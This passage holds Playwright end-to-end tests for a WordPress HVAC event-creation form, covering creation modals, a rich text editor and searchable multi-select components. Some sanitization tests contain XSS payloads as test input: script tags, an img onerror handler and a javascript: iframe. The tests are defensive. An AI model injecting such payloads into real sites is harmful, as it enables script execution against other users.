await page.click('.organizer-selector .create-new-btn');
await expect(page.locator('#organizer-modal')).toBeVisible();
// Click on backdrop (outside modal content)
await page.click('#organizer-modal .modal-backdrop', { position: { x: 10, y: 10 } });
await expect(page.locator('#organizer-modal')).not.toBeVisible();
});
test('should close modal with Escape key', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
await expect(page.locator('#organizer-modal')).toBeVisible();
await page.keyboard.press('Escape');
await expect(page.locator('#organizer-modal')).not.toBeVisible();
});
test('should validate required fields', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
// Try to submit without required fields
await page.click('#save-organizer');
// Should show validation errors
await expect(page.locator('#new-organizer-name-error')).toBeVisible();
await expect(page.locator('#new-organizer-email-error')).toBeVisible();
// Modal should remain open
await expect(page.locator('#organizer-modal')).toBeVisible();
});
test('should validate email format', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
// Fill with invalid email
await page.fill('#new-organizer-name', 'John Doe');
await page.fill('#new-organizer-email', 'invalid-email');
await page.click('#save-organizer');
await expect(page.locator('#new-organizer-email-error')).toContainText('Invalid email format');
});
test('should create organizer successfully', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
// Fill valid form data
await page.fill('#new-organizer-name', 'John Doe');
await page.fill('#new-organizer-email', 'john@example.com');
await page.fill('#new-organizer-phone', '555-1234');
await page.fill('#new-organizer-organization', 'HVAC Corp');
// Mock successful AJAX response
await page.route('**/wp-admin/admin-ajax.php', async route => {
if (route.request().postData()?.includes('create_organizer')) {
await route.fulfill({
contentType: 'application/json',
body: JSON.stringify({
success: true,
data: {
id: 'temp_123',
name: 'John Doe',
email: 'john@example.com'
}
})
});
} else {
await route.continue();
}
});
await page.click('#save-organizer');
// Modal should close
await expect(page.locator('#organizer-modal')).not.toBeVisible();
// Organizer should be selected in the selector
await expect(page.locator('.organizer-selector .selected-item')).toContainText('John Doe');
});
test('should handle AJAX errors gracefully', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
await page.fill('#new-organizer-name', 'John Doe');
await page.fill('#new-organizer-email', 'john@example.com');
// Mock AJAX failure
await page.route('**/wp-admin/admin-ajax.php', route => route.abort());
await page.click('#save-organizer');
// Should show error message
await expect(page.locator('.modal-error')).toContainText('Failed to create organizer');
// Modal should remain open for retry
await expect(page.locator('#organizer-modal')).toBeVisible();
});
test('should reset form when closed and reopened', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
// Fill some data
await page.fill('#new-organizer-name', 'Test Name');
await page.fill('#new-organizer-email', 'test@example.com');
// Close modal
await page.click('#organizer-modal .modal-close');
// Reopen modal
await page.click('.organizer-selector .create-new-btn');
// Form should be reset
const nameValue = await page.locator('#new-organizer-name').inputValue();
const emailValue = await page.locator('#new-organizer-email').inputValue();
expect(nameValue).toBe('');
expect(emailValue).toBe('');
});
});
test.describe('Category Modal', () => {
test('should open category creation modal correctly', async ({ page }) => {
await page.click('.category-selector .create-new-btn');
await expect(page.locator('#category-modal')).toBeVisible();
await expect(page.locator('#category-modal .modal-title')).toContainText('Create New Category');
// Category-specific fields
await expect(page.locator('#new-category-name')).toBeVisible();
await expect(page.locator('#new-category-description')).toBeVisible();
await expect(page.locator('#new-category-parent')).toBeVisible();
});
test('should validate category name requirement', async ({ page }) => {
await page.click('.category-selector .create-new-btn');
await page.click('#save-category');
await expect(page.locator('#new-category-name-error')).toContainText('Category name is required');
});
test('should create category successfully', async ({ page }) => {
await page.click('.category-selector .create-new-btn');
await page.fill('#new-category-name', 'Advanced Training');
await page.fill('#new-category-description', 'Advanced HVAC training courses');
// Mock successful response
await page.route('**/wp-admin/admin-ajax.php', async route => {
if (route.request().postData()?.includes('create_category')) {
await route.fulfill({
contentType: 'application/json',
body: JSON.stringify({
success: true,
data: {
id: 'temp_456',
name: 'Advanced Training'
}
})
});
} else {
await route.continue();
}
});
await page.click('#save-category');
await expect(page.locator('#category-modal')).not.toBeVisible();
await expect(page.locator('.category-selector .selected-item')).toContainText('Advanced Training');
});
test('should handle parent category selection', async ({ page }) => {
await page.click('.category-selector .create-new-btn');
// Parent dropdown should show available categories
await page.click('#new-category-parent');
await expect(page.locator('#new-category-parent option')).toHaveCount({ min: 1 });
// Select a parent category
await page.selectOption('#new-category-parent', { index: 1 });
const selectedParent = await page.locator('#new-category-parent').inputValue();
expect(selectedParent).not.toBe('');
});
});
test.describe('Venue Modal', () => {
test('should open venue creation modal correctly', async ({ page }) => {
await page.click('.venue-selector .create-new-btn');
await expect(page.locator('#venue-modal')).toBeVisible();
await expect(page.locator('#venue-modal .modal-title')).toContainText('Create New Venue');
// Venue-specific fields
await expect(page.locator('#new-venue-name')).toBeVisible();
await expect(page.locator('#new-venue-address')).toBeVisible();
await expect(page.locator('#new-venue-city')).toBeVisible();
await expect(page.locator('#new-venue-state')).toBeVisible();
await expect(page.locator('#new-venue-zip')).toBeVisible();
await expect(page.locator('#new-venue-capacity')).toBeVisible();
await expect(page.locator('#new-venue-facilities')).toBeVisible();
});
test('should validate venue required fields', async ({ page }) => {
await page.click('.venue-selector .create-new-btn');
await page.click('#save-venue');
// Check for multiple required field errors
await expect(page.locator('#new-venue-name-error')).toBeVisible();
await expect(page.locator('#new-venue-address-error')).toBeVisible();
await expect(page.locator('#new-venue-city-error')).toBeVisible();
});
test('should validate capacity as number', async ({ page }) => {
await page.click('.venue-selector .create-new-btn');
await page.fill('#new-venue-name', 'Test Venue');
await page.fill('#new-venue-address', '123 Main St');
await page.fill('#new-venue-city', 'Test City');
await page.fill('#new-venue-capacity', 'not-a-number');
await page.click('#save-venue');
await expect(page.locator('#new-venue-capacity-error')).toContainText('Capacity must be a number');
});
test('should create venue successfully', async ({ page }) => {
await page.click('.venue-selector .create-new-btn');
// Fill comprehensive venue data
await page.fill('#new-venue-name', 'Conference Center');
await page.fill('#new-venue-address', '456 Business Ave');
await page.fill('#new-venue-city', 'Business City');
await page.fill('#new-venue-state', 'CA');
await page.fill('#new-venue-zip', '90210');
await page.fill('#new-venue-capacity', '200');
await page.fill('#new-venue-facilities', 'Projector, WiFi, Parking');
// Mock successful response
await page.route('**/wp-admin/admin-ajax.php', async route => {
if (route.request().postData()?.includes('create_venue')) {
await route.fulfill({
contentType: 'application/json',
body: JSON.stringify({
success: true,
data: {
id: 'temp_789',
name: 'Conference Center',
address: '456 Business Ave, Business City, CA 90210'
}
})
});
} else {
await route.continue();
}
});
await page.click('#save-venue');
await expect(page.locator('#venue-modal')).not.toBeVisible();
await expect(page.locator('.venue-selector .selected-venue')).toContainText('Conference Center');
});
});
test.describe('Modal System Behavior', () => {
test('should handle multiple modal opens correctly', async ({ page }) => {
// Open organizer modal
await page.click('.organizer-selector .create-new-btn');
await expect(page.locator('#organizer-modal')).toBeVisible();
// Close and open category modal
await page.keyboard.press('Escape');
await page.click('.category-selector .create-new-btn');
await expect(page.locator('#category-modal')).toBeVisible();
await expect(page.locator('#organizer-modal')).not.toBeVisible();
});
test('should prevent body scroll when modal is open', async ({ page }) => {
const initialOverflow = await page.evaluate(() => document.body.style.overflow);
await page.click('.organizer-selector .create-new-btn');
const modalOverflow = await page.evaluate(() => document.body.style.overflow);
expect(modalOverflow).toBe('hidden');
await page.keyboard.press('Escape');
const finalOverflow = await page.evaluate(() => document.body.style.overflow);
expect(finalOverflow).toBe(initialOverflow);
});
test('should focus management properly', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
// Focus should be on first form field
const focusedElement = await page.evaluate(() => document.activeElement.id);
expect(focusedElement).toBe('new-organizer-name');
// Tab should cycle through modal fields
await page.keyboard.press('Tab');
const nextFocused = await page.evaluate(() => document.activeElement.id);
expect(nextFocused).toBe('new-organizer-email');
});
test('should trap focus within modal', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
// Get all focusable elements in modal
const modalElements = await page.locator('#organizer-modal [tabindex]:not([tabindex="-1"]), #organizer-modal input, #organizer-modal button, #organizer-modal select, #organizer-modal textarea').count();
// Tab through all elements and ensure focus stays in modal
for (let i = 0; i < modalElements + 2; i++) {
await page.keyboard.press('Tab');
const activeElement = await page.evaluate(() => {
const active = document.activeElement;
return active.closest('#organizer-modal') !== null;
});
expect(activeElement).toBe(true);
}
});
test('should handle rapid modal interactions', async ({ page }) => {
// Rapidly open and close modals
for (let i = 0; i < 5; i++) {
await page.click('.organizer-selector .create-new-btn');
await expect(page.locator('#organizer-modal')).toBeVisible();
await page.keyboard.press('Escape');
await expect(page.locator('#organizer-modal')).not.toBeVisible();
}
// Should still work normally
await page.click('.organizer-selector .create-new-btn');
await expect(page.locator('#organizer-modal')).toBeVisible();
});
});
test.describe('Form Validation', () => {
test('should show real-time validation feedback', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
// Start typing invalid email
await page.fill('#new-organizer-email', 'invalid');
// Blur to trigger validation
await page.click('#new-organizer-name');
await expect(page.locator('#new-organizer-email-error')).toContainText('Invalid email format');
// Fix email
await page.fill('#new-organizer-email', 'valid@example.com');
await page.click('#new-organizer-name');
await expect(page.locator('#new-organizer-email-error')).not.toBeVisible();
});
test('should prevent submission with invalid data', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
// Fill partially invalid data
await page.fill('#new-organizer-name', 'Jo'); // Too short
await page.fill('#new-organizer-email', 'invalid-email');
const submitButton = page.locator('#save-organizer');
await submitButton.click();
// Should not submit
await expect(page.locator('#organizer-modal')).toBeVisible();
// Button should show loading state briefly then return to normal
await expect(submitButton).not.toHaveClass(/loading/);
});
test('should sanitize input data', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
// Try to inject HTML/JS
await page.fill('#new-organizer-name', '<script>alert("xss")</script>John Doe');
await page.fill('#new-organizer-organization', '<img src="x" onerror="alert(1)">');
const nameValue = await page.locator('#new-organizer-name').inputValue();
const orgValue = await page.locator('#new-organizer-organization').inputValue();
// Should contain cleaned values
expect(nameValue).not.toContain('<script>');
expect(orgValue).not.toContain('<img');
});
test('should handle server-side validation errors', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
await page.fill('#new-organizer-name', 'John Doe');
await page.fill('#new-organizer-email', 'existing@example.com');
// Mock server validation error
await page.route('**/wp-admin/admin-ajax.php', async route => {
if (route.request().postData()?.includes('create_organizer')) {
await route.fulfill({
contentType: 'application/json',
body: JSON.stringify({
success: false,
data: {
field_errors: {
email: 'Email already exists'
}
}
})
});
} else {
await route.continue();
}
});
await page.click('#save-organizer');
// Should show server error
await expect(page.locator('#new-organizer-email-error')).toContainText('Email already exists');
});
});
test.describe('Data Integration', () => {
test('should pass created entity data to parent selector', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
const testData = {
name: 'Test Organizer',
email: 'test@example.com',
phone: '555-0123',
organization: 'Test Org'
};
// Fill form
await page.fill('#new-organizer-name', testData.name);
await page.fill('#new-organizer-email', testData.email);
await page.fill('#new-organizer-phone', testData.phone);
await page.fill('#new-organizer-organization', testData.organization);
// Mock successful creation
await page.route('**/wp-admin/admin-ajax.php', async route => {
if (route.request().postData()?.includes('create_organizer')) {
await route.fulfill({
contentType: 'application/json',
body: JSON.stringify({
success: true,
data: {
id: 'temp_999',
...testData
}
})
});
} else {
await route.continue();
}
});
await page.click('#save-organizer');
// Verify data in selector
const selectedItem = page.locator('.organizer-selector .selected-item');
await expect(selectedItem).toContainText(testData.name);
// Verify hidden input has correct data
const hiddenInput = await page.locator('input[name="selected_organizers"]').inputValue();
const selectedData = JSON.parse(hiddenInput);
expect(selectedData).toEqual(expect.arrayContaining([expect.objectContaining({ id: 'temp_999' })]));
});
test('should update selector dropdown after creation', async ({ page }) => {
// Get initial organizer count
await page.click('.organizer-selector input');
const initialCount = await page.locator('.organizer-dropdown .option').count();
await page.keyboard.press('Escape');
// Create new organizer
await page.click('.organizer-selector .create-new-btn');
await page.fill('#new-organizer-name', 'New Organizer');
await page.fill('#new-organizer-email', 'new@example.com');
await page.route('**/wp-admin/admin-ajax.php', async route => {
if (route.request().postData()?.includes('create_organizer')) {
await route.fulfill({
contentType: 'application/json',
body: JSON.stringify({
success: true,
data: { id: 'temp_new', name: 'New Organizer' }
})
});
} else {
await route.continue();
}
});
await page.click('#save-organizer');
// Check dropdown has updated
await page.click('.organizer-selector input');
const updatedCount = await page.locator('.organizer-dropdown .option').count();
expect(updatedCount).toBe(initialCount + 1);
// New organizer should be in dropdown
await expect(page.locator('.organizer-dropdown .option')).toContainText(['New Organizer']);
});
test('should handle temporary IDs correctly', async ({ page }) => {
await page.click('.organizer-selector .create-new-btn');
await page.fill('#new-organizer-name', 'Temp ID Test');
await page.fill('#new-organizer-email', 'temp@example.com');
// Mock response with temporary ID
await page.route('**/wp-admin/admin-ajax.php', async route => {
if (route.request().postData()?.includes('create_organizer')) {
await route.fulfill({
contentType: 'application/json',
body: JSON.stringify({
success: true,
data: {
id: 'temp_' + Date.now(),
name: 'Temp ID Test',
is_temporary: true
}
})
});
} else {
await route.continue();
}
});
await page.click('#save-organizer');
// Verify temporary ID is marked appropriately
const selectedItem = page.locator('.organizer-selector .selected-item');
await expect(selectedItem).toHaveClass(/temporary/);
});
});
});

View file

@ -0,0 +1,396 @@
const { test, expect } = require('@playwright/test');
const { HVACTestBase } = require('./page-objects/HVACTestBase');
/**
* Rich Text Editor Comprehensive Test Suite
*
* Tests the contentEditable-based rich text editor including:
* - Toolbar functionality and commands
* - Content synchronization between editor and textarea
* - XSS prevention and content sanitization
* - Keyboard shortcuts and accessibility
* - Character limits and validation
* - Deprecated API usage handling
*/
test.describe('Rich Text Editor Functionality', () => {
let hvacTest;
test.beforeEach(async ({ page }) => {
hvacTest = new HVACTestBase(page);
await hvacTest.loginAsTrainer();
await hvacTest.navigateToCreateEvent();
// Wait for rich text editor to be ready
await expect(page.locator('#event-description-editor')).toBeVisible();
await expect(page.locator('#event-description-toolbar')).toBeVisible();
});
test.describe('Basic Editor Functionality', () => {
test('should initialize rich text editor correctly', async ({ page }) => {
// Verify editor elements are present
await expect(page.locator('#event-description-editor')).toBeVisible();
await expect(page.locator('#event-description-toolbar')).toBeVisible();
await expect(page.locator('#event_description')).toBeVisible();
// Verify editor is contentEditable
const isEditable = await page.locator('#event-description-editor').getAttribute('contenteditable');
expect(isEditable).toBe('true');
// Verify initial state
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent.trim()).toBe('');
});
test('should allow text input and maintain focus', async ({ page }) => {
const testText = 'This is a test of the rich text editor.';
await page.click('#event-description-editor');
await page.keyboard.type(testText);
const editorContent = await page.locator('#event-description-editor').textContent();
expect(editorContent).toBe(testText);
// Verify focus is maintained
const focused = await page.evaluate(() =>
document.activeElement.id === 'event-description-editor'
);
expect(focused).toBe(true);
});
test('should synchronize content between editor and hidden textarea', async ({ page }) => {
const testContent = '<p>Test paragraph with <strong>bold text</strong>.</p>';
// Set content in editor
await page.click('#event-description-editor');
await page.locator('#event-description-editor').fill(testContent);
// Trigger content sync (blur event)
await page.click('body');
// Verify content is synchronized to hidden textarea
const textareaValue = await page.locator('#event_description').inputValue();
expect(textareaValue).toContain('Test paragraph');
expect(textareaValue).toContain('<strong>bold text</strong>');
});
test('should restore content from hidden textarea on page reload', async ({ page }) => {
const testContent = '<p>Persistent content test</p>';
// Set initial content
await page.locator('#event_description').fill(testContent);
// Reload page to test content restoration
await page.reload();
await hvacTest.navigateToCreateEvent();
// Verify content is restored in editor
const restoredContent = await page.locator('#event-description-editor').innerHTML();
expect(restoredContent).toContain('Persistent content test');
});
});
test.describe('Toolbar Commands', () => {
test('should execute bold command correctly', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('Bold test');
// Select the text
await page.keyboard.press('Control+a');
// Click bold button
await page.click('[data-command="bold"]');
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).toContain('<b>Bold test</b>');
});
test('should execute italic command correctly', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('Italic test');
await page.keyboard.press('Control+a');
await page.click('[data-command="italic"]');
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).toContain('<i>Italic test</i>');
});
test('should execute underline command correctly', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('Underline test');
await page.keyboard.press('Control+a');
await page.click('[data-command="underline"]');
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).toContain('<u>Underline test</u>');
});
test('should create ordered lists', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('List item 1');
await page.click('[data-command="insertOrderedList"]');
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).toContain('<ol>');
expect(editorContent).toContain('<li>List item 1</li>');
});
test('should create unordered lists', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('Bullet item 1');
await page.click('[data-command="insertUnorderedList"]');
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).toContain('<ul>');
expect(editorContent).toContain('<li>Bullet item 1</li>');
});
test('should create links with prompt', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('Link text');
await page.keyboard.press('Control+a');
// Mock the prompt for link URL
await page.evaluate(() => {
window.prompt = () => 'https://example.com';
});
await page.click('[data-command="createLink"]');
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).toContain('<a href="https://example.com">Link text</a>');
});
test('should toggle commands on and off', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('Toggle test');
await page.keyboard.press('Control+a');
// Apply bold
await page.click('[data-command="bold"]');
let content = await page.locator('#event-description-editor').innerHTML();
expect(content).toContain('<b>Toggle test</b>');
// Remove bold
await page.click('[data-command="bold"]');
content = await page.locator('#event-description-editor').innerHTML();
expect(content).not.toContain('<b>Toggle test</b>');
});
});
test.describe('Content Validation and Limits', () => {
test('should enforce character limits if configured', async ({ page }) => {
// Check if character limit is set
const hasCharLimit = await page.locator('.char-counter').isVisible().catch(() => false);
if (hasCharLimit) {
const longText = 'A'.repeat(5000); // Very long text
await page.click('#event-description-editor');
await page.keyboard.type(longText);
// Should show character limit warning
await expect(page.locator('.char-limit-warning')).toBeVisible();
// Should prevent further input
const finalContent = await page.locator('#event-description-editor').textContent();
expect(finalContent.length).toBeLessThan(longText.length);
}
});
test('should sanitize pasted content', async ({ page }) => {
const maliciousPasteContent = `
<div>Normal text</div>
<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<iframe src="javascript:alert('XSS')"></iframe>
`;
await page.click('#event-description-editor');
// Simulate paste event
await page.evaluate((content) => {
const editor = document.getElementById('event-description-editor');
const event = new ClipboardEvent('paste', {
clipboardData: new DataTransfer()
});
event.clipboardData.setData('text/html', content);
editor.dispatchEvent(event);
}, maliciousPasteContent);
const editorContent = await page.locator('#event-description-editor').innerHTML();
// Should contain safe content
expect(editorContent).toContain('Normal text');
// Should not contain dangerous elements
expect(editorContent).not.toContain('<script>');
expect(editorContent).not.toContain('onerror=');
expect(editorContent).not.toContain('<iframe');
});
test('should handle empty content gracefully', async ({ page }) => {
// Clear any existing content
await page.click('#event-description-editor');
await page.keyboard.press('Control+a');
await page.keyboard.press('Delete');
// Try to submit with empty content
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent.trim()).toBe('');
// Should handle empty state without errors
await page.click('body');
const textareaValue = await page.locator('#event_description').inputValue();
expect(textareaValue).toBe('');
});
});
test.describe('Accessibility Features', () => {
test('should support keyboard shortcuts', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('Keyboard shortcut test');
await page.keyboard.press('Control+a');
// Test Ctrl+B for bold
await page.keyboard.press('Control+b');
const boldContent = await page.locator('#event-description-editor').innerHTML();
expect(boldContent).toContain('<b>');
// Test Ctrl+I for italic
await page.keyboard.press('Control+i');
const italicContent = await page.locator('#event-description-editor').innerHTML();
expect(italicContent).toContain('<i>');
});
test('should have proper ARIA labels on toolbar buttons', async ({ page }) => {
const toolbarButtons = await page.locator('#event-description-toolbar button').all();
for (const button of toolbarButtons) {
const ariaLabel = await button.getAttribute('aria-label');
const title = await button.getAttribute('title');
// Should have either aria-label or title for accessibility
expect(ariaLabel || title).toBeTruthy();
}
});
test('should maintain focus management', async ({ page }) => {
// Focus should move to editor when toolbar button is clicked
await page.click('[data-command="bold"]');
const focused = await page.evaluate(() =>
document.activeElement.id === 'event-description-editor'
);
expect(focused).toBe(true);
});
test('should support screen reader navigation', async ({ page }) => {
// Verify editor has proper role and labels
const editorRole = await page.locator('#event-description-editor').getAttribute('role');
const editorAriaLabel = await page.locator('#event-description-editor').getAttribute('aria-label');
expect(editorRole).toBe('textbox');
expect(editorAriaLabel).toBeTruthy();
});
});
test.describe('Error Handling', () => {
test('should handle execCommand failures gracefully', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('Test content');
// Disable execCommand to simulate browser incompatibility
await page.evaluate(() => {
document.execCommand = () => false;
});
// Commands should not throw errors even if execCommand fails
await page.click('[data-command="bold"]');
await page.click('[data-command="italic"]');
// Editor should remain functional
const editorContent = await page.locator('#event-description-editor').textContent();
expect(editorContent).toBe('Test content');
});
test('should recover from DOM manipulation errors', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('Recovery test');
// Corrupt editor DOM structure
await page.evaluate(() => {
const editor = document.getElementById('event-description-editor');
editor.innerHTML = '<div><span>Broken <b>structure</div>';
});
// Toolbar commands should still work
await page.click('[data-command="bold"]');
// Content should be preserved
const finalContent = await page.locator('#event-description-editor').textContent();
expect(finalContent).toContain('Broken');
});
test('should handle rapid command execution', async ({ page }) => {
await page.click('#event-description-editor');
await page.keyboard.type('Rapid test');
await page.keyboard.press('Control+a');
// Execute multiple commands rapidly
await Promise.all([
page.click('[data-command="bold"]'),
page.click('[data-command="italic"]'),
page.click('[data-command="underline"]')
]);
// Should handle concurrent operations without errors
const editorContent = await page.locator('#event-description-editor').innerHTML();
expect(editorContent).toContain('Rapid test');
});
});
test.describe('Browser Compatibility', () => {
test('should work with different content models', async ({ page }) => {
// Test different ways content might be structured
const contentVariations = [
'<p>Paragraph content</p>',
'<div>Div content</div>',
'Plain text content',
'<span>Span content</span>'
];
for (const content of contentVariations) {
await page.locator('#event-description-editor').fill('');
await page.locator('#event-description-editor').fill(content);
// Apply formatting
await page.keyboard.press('Control+a');
await page.click('[data-command="bold"]');
// Should maintain content integrity
const result = await page.locator('#event-description-editor').innerHTML();
expect(result).toContain('content');
}
});
test('should handle deprecated execCommand warnings', async ({ page }) => {
const consoleWarnings = [];
page.on('console', msg => {
if (msg.type() === 'warning' && msg.text().includes('execCommand')) {
consoleWarnings.push(msg.text());
}
});
await page.click('#event-description-editor');
await page.keyboard.type('Deprecation test');
await page.keyboard.press('Control+a');
await page.click('[data-command="bold"]');
// Should function despite deprecation warnings
const content = await page.locator('#event-description-editor').innerHTML();
expect(content).toContain('<b>Deprecation test</b>');
});
});
});

View file

@ -0,0 +1,553 @@
const { test, expect } = require('@playwright/test');
const { HVACTestBase } = require('./page-objects/HVACTestBase');
/**
* Searchable Selector Components Test Suite
*
* Tests the advanced selector components including:
* - Multi-select organizers (max 3) with autocomplete search
* - Multi-select categories (max 3) with autocomplete search
* - Single-select venue with autocomplete search
* - "Create New" modal integration
* - Search functionality and filtering
* - Selection limits and validation
* - Keyboard navigation and accessibility
*/
test.describe('Searchable Selector Components', () => {
let hvacTest;
test.beforeEach(async ({ page }) => {
hvacTest = new HVACTestBase(page);
await hvacTest.loginAsTrainer();
await hvacTest.navigateToCreateEvent();
// Wait for selectors to be ready
await expect(page.locator('.organizer-selector')).toBeVisible();
await expect(page.locator('.category-selector')).toBeVisible();
await expect(page.locator('.venue-selector')).toBeVisible();
});
test.describe('Organizer Multi-Select Component', () => {
test('should initialize organizer selector correctly', async ({ page }) => {
const organizerSelector = page.locator('.organizer-selector');
// Verify initial elements
await expect(organizerSelector.locator('input[type="text"]')).toBeVisible();
await expect(organizerSelector.locator('.selected-items')).toBeVisible();
await expect(organizerSelector.locator('.create-new-btn')).toBeVisible();
// Verify placeholder text
const placeholder = await organizerSelector.locator('input').getAttribute('placeholder');
expect(placeholder).toContain('Search organizers');
// Verify initial state
const selectedCount = await organizerSelector.locator('.selected-item').count();
expect(selectedCount).toBe(0);
});
test('should show dropdown on focus with all available options', async ({ page }) => {
const input = page.locator('.organizer-selector input');
await input.click();
// Dropdown should appear
await expect(page.locator('.organizer-dropdown')).toBeVisible();
// Should show available organizers
const options = await page.locator('.organizer-dropdown .option').count();
expect(options).toBeGreaterThan(0);
// Should show "Create New Organizer" option
await expect(page.locator('.organizer-dropdown .create-new-option')).toBeVisible();
});
test('should filter options based on search input', async ({ page }) => {
const input = page.locator('.organizer-selector input');
await input.click();
await input.type('john');
// Should filter results
const visibleOptions = await page.locator('.organizer-dropdown .option:visible').count();
const totalOptions = await page.locator('.organizer-dropdown .option').count();
expect(visibleOptions).toBeLessThanOrEqual(totalOptions);
// Options should contain search term
const firstOption = await page.locator('.organizer-dropdown .option:visible').first().textContent();
expect(firstOption.toLowerCase()).toContain('john');
});
test('should select multiple organizers up to limit', async ({ page }) => {
const input = page.locator('.organizer-selector input');
const selector = page.locator('.organizer-selector');
// Select first organizer
await input.click();
await page.locator('.organizer-dropdown .option').first().click();
// Verify first selection
let selectedCount = await selector.locator('.selected-item').count();
expect(selectedCount).toBe(1);
// Select second organizer
await input.click();
await page.locator('.organizer-dropdown .option').nth(1).click();
selectedCount = await selector.locator('.selected-item').count();
expect(selectedCount).toBe(2);
// Select third organizer
await input.click();
await page.locator('.organizer-dropdown .option').nth(2).click();
selectedCount = await selector.locator('.selected-item').count();
expect(selectedCount).toBe(3);
// Try to select fourth (should be prevented)
await input.click();
const fourthOption = page.locator('.organizer-dropdown .option').nth(3);
if (await fourthOption.isVisible()) {
await fourthOption.click();
// Should still be at limit
selectedCount = await selector.locator('.selected-item').count();
expect(selectedCount).toBe(3);
// Should show limit warning
await expect(page.locator('.selection-limit-warning')).toContainText('Maximum 3 organizers');
}
});
test('should allow removing selected organizers', async ({ page }) => {
const input = page.locator('.organizer-selector input');
const selector = page.locator('.organizer-selector');
// Select an organizer
await input.click();
await page.locator('.organizer-dropdown .option').first().click();
let selectedCount = await selector.locator('.selected-item').count();
expect(selectedCount).toBe(1);
// Remove the selected organizer
await selector.locator('.selected-item .remove-btn').click();
selectedCount = await selector.locator('.selected-item').count();
expect(selectedCount).toBe(0);
});
test('should prevent duplicate selections', async ({ page }) => {
const input = page.locator('.organizer-selector input');
const selector = page.locator('.organizer-selector');
// Select an organizer
await input.click();
const firstOption = page.locator('.organizer-dropdown .option').first();
const firstOptionText = await firstOption.textContent();
await firstOption.click();
// Try to select the same organizer again
await input.click();
await page.locator('.organizer-dropdown .option').filter({ hasText: firstOptionText }).click();
// Should still have only one selection
const selectedCount = await selector.locator('.selected-item').count();
expect(selectedCount).toBe(1);
});
test('should open create new organizer modal', async ({ page }) => {
await page.locator('.organizer-selector .create-new-btn').click();
// Modal should open
await expect(page.locator('#organizer-modal')).toBeVisible();
await expect(page.locator('#organizer-modal .modal-title')).toContainText('Create New Organizer');
// Form fields should be visible
await expect(page.locator('#new-organizer-name')).toBeVisible();
await expect(page.locator('#new-organizer-email')).toBeVisible();
await expect(page.locator('#new-organizer-phone')).toBeVisible();
await expect(page.locator('#new-organizer-organization')).toBeVisible();
});
});
test.describe('Category Multi-Select Component', () => {
test('should function similar to organizer selector', async ({ page }) => {
const categorySelector = page.locator('.category-selector');
const input = categorySelector.locator('input');
// Test basic functionality
await input.click();
await expect(page.locator('.category-dropdown')).toBeVisible();
// Select multiple categories (max 3)
await page.locator('.category-dropdown .option').first().click();
await input.click();
await page.locator('.category-dropdown .option').nth(1).click();
await input.click();
await page.locator('.category-dropdown .option').nth(2).click();
const selectedCount = await categorySelector.locator('.selected-item').count();
expect(selectedCount).toBe(3);
});
test('should enforce category selection limit', async ({ page }) => {
const categorySelector = page.locator('.category-selector');
const input = categorySelector.locator('input');
// Select maximum categories
for (let i = 0; i < 4; i++) {
await input.click();
const option = page.locator('.category-dropdown .option').nth(i);
if (await option.isVisible()) {
await option.click();
}
}
// Should not exceed limit
const selectedCount = await categorySelector.locator('.selected-item').count();
expect(selectedCount).toBeLessThanOrEqual(3);
});
test('should open create new category modal', async ({ page }) => {
await page.locator('.category-selector .create-new-btn').click();
await expect(page.locator('#category-modal')).toBeVisible();
await expect(page.locator('#new-category-name')).toBeVisible();
await expect(page.locator('#new-category-description')).toBeVisible();
});
});
test.describe('Venue Single-Select Component', () => {
test('should initialize venue selector correctly', async ({ page }) => {
const venueSelector = page.locator('.venue-selector');
await expect(venueSelector.locator('input[type="text"]')).toBeVisible();
await expect(venueSelector.locator('.selected-venue')).toBeVisible();
const placeholder = await venueSelector.locator('input').getAttribute('placeholder');
expect(placeholder).toContain('Search venues');
});
test('should allow single venue selection only', async ({ page }) => {
const input = page.locator('.venue-selector input');
await input.click();
await expect(page.locator('.venue-dropdown')).toBeVisible();
// Select first venue
await page.locator('.venue-dropdown .option').first().click();
// Should show selected venue
await expect(page.locator('.selected-venue .venue-name')).toBeVisible();
// Select different venue (should replace first)
await input.click();
await page.locator('.venue-dropdown .option').nth(1).click();
// Should have only one venue selected
const selectedVenues = await page.locator('.selected-venue .venue-name').count();
expect(selectedVenues).toBe(1);
});
test('should clear venue selection', async ({ page }) => {
const input = page.locator('.venue-selector input');
// Select a venue
await input.click();
await page.locator('.venue-dropdown .option').first().click();
// Clear selection
await page.locator('.selected-venue .clear-btn').click();
// Should have no selection
await expect(page.locator('.selected-venue .venue-name')).not.toBeVisible();
});
test('should open create new venue modal', async ({ page }) => {
await page.locator('.venue-selector .create-new-btn').click();
await expect(page.locator('#venue-modal')).toBeVisible();
await expect(page.locator('#new-venue-name')).toBeVisible();
